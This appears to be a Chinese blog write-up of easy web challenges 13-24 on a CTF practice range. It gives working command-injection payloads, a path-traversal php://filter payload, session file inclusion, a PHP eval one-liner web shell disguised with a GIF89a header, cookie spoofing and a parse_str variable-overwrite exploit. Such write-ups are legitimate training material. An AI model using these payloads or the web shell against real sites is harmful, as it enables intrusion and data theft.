13-24
rce1
打开提示就过滤了一


09、${IFS}也是可以的还有很多
pyload:127.0.0.1;cat<fllllaaag.php


GET-POST
打开给到源码

提示用GET请求一下那就传
又让post请求用POST请求传递一下jljcxy吧,令jljcxy=flag

得到flag,没什么考点会一个get和post请求就行
被黑掉的网站
打开还真给我唬住了

瞎点一处也没得到有用的信息,想扫一下目录看看

先去看看index,.php.bak是什么

就去看看另一个shell.php

明白了应该是根究index.php.bak.里的密码去试试

签到题
打开一个这段话

觉是cookie的东西改一下看看,给了一串字符

解码看到是一个目录

访问之后得到源代码

str_replace('../', '', $file) 尝试过滤目录遍历字符,但这种过滤方式并不完善,可以通过构造特殊的 payload 绕过。路径遍历 + PHP 伪协议 ,
构造paylpad读取flag: ?file=php://filter/convert.base64-encode/resource=....//....//....//....//....//....//flag
不知道退几层到根目录可以多写几个../回退

签到
打开又是一个提交题感觉像命令执行

看了一下这个提交按钮是灰色的




得到flag

session文件包含
打开看到是一个提交框
做这一题要先知道session是什么,是服务器保存用户数据的机制,和cookie有点相似之处但cookie是存在客户端上而session是存放在服务器上
一般session的文件路径保存在服务器的本地目录

随便起个名进去

发现两个弹窗都点一下

url变了

点第二个书单的时候发现

尝试构造pyload:读取源代码

解码一下

又了上传一个木马名


响应包里有我们需要的session的id值
利用session包含 目录在/tmp/sess_会话id值访问一下,弹出来,就包含成功
命令执行成功


两种一种是蚁剑连得到flag
及


有就是命令执行
pyload: cmd=system('cat /flaggggg');

在源代码中


Don't touch me

看看源代码



访问得到flag

不过这里可以把按钮修复好跟前面那个一样删除disabled="disabled"

其他的一样
robots
打开给一个机器人.txt的提示

标题的ronots不就是机器人的意思吗

访问得到flag

php very nice
打开看到源码,一个很简单的反序列化

就定义了一个魔术方法


得到flag文件

得到flag

ezupload
打开是一个选择文件进行上传,应该就是文件上传了

前端也没有什么东西,应该就是一个简单的文件上传写一个木马上传

写一个一句话木马
GIF89a 加个这个头
<?php eval($_POST['cmd']); ?>

上传不上去后应该有限制,那就修改后缀在bp里改


接下来用蚁剑连一下就行
成功连接

得到flag

cookie欺骗
标题都已经提示了,打开也已经告诉

那就修改cookie的user为admin


干正则
打开给出源代码
<?php
error_reporting(0); //报错不显示
if (empty($_GET['id'])) { //判断传入的id是否为空
show_source(__FILE__); //高亮显示代码
die();
} else {
include 'flag.php'; //包含了一个flag文件
$a = "www.baidu.com";
$result = "";
$id = $_GET['id'];
@parse_str($id);
echo $a[0]; //打印出来a的数组
if ($a[0] == 'www.polarctf.com') { //如果a[0]==www.polarctf.com
$ip = $_GET['cmd']; //进行获取cmd
if (preg_match('/flag\.php/', $ip)) { //过滤flag
die("don't show flag!!!");
}
$result .= shell_exec('ping -c 2 ' . $a[0] . $ip);
if ($result) {
echo "<pre>{$result}</pre>";
}
} else {
exit('其实很简单!');
}
}知识点:parse_str(x,y)解析 URL‑query 字符串,把参数拆解成变量; 第二个参数传入数组,解析出来的数据存入数组里。
代码审计一下:
1.输入检查 :若 $_GET['id'] 为空,会显示当前文件源代码;否则,包含 flag.php 文件.
2.变量覆盖 :使用 @parse_str($id) 函数,该函数会将字符串解析为变量,可能存在变量覆盖漏洞。
3.条件判断 :要求 $a[0] 等于 www.polarctf.com ,并且 $_GET['cmd'] 不能包含 flag.php 。
4.命令执行 :使用 shell_exec 函数执行 ping -c 2 命令,存在命令注入风险。
思路缕清楚:
依靠 parse_str() 无第二个参数的变量覆盖漏洞,改写 $a使其满足 $a[0] == 'www.polarctf.com' 。
用 *绕过 preg_match 对 flag.php 的关键字拦截;操控 cmd 参数拼接进 shell_exec,实现命令注入读取 flag
pyload:?id=a[0]=www.polarctf.com&cmd=;cat fl*

palor靶场-简单方向(13-24)
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
赞赏支持
如果觉得文章对你有帮助,可以请作者喝杯奶茶
评论交流
欢迎留下你的想法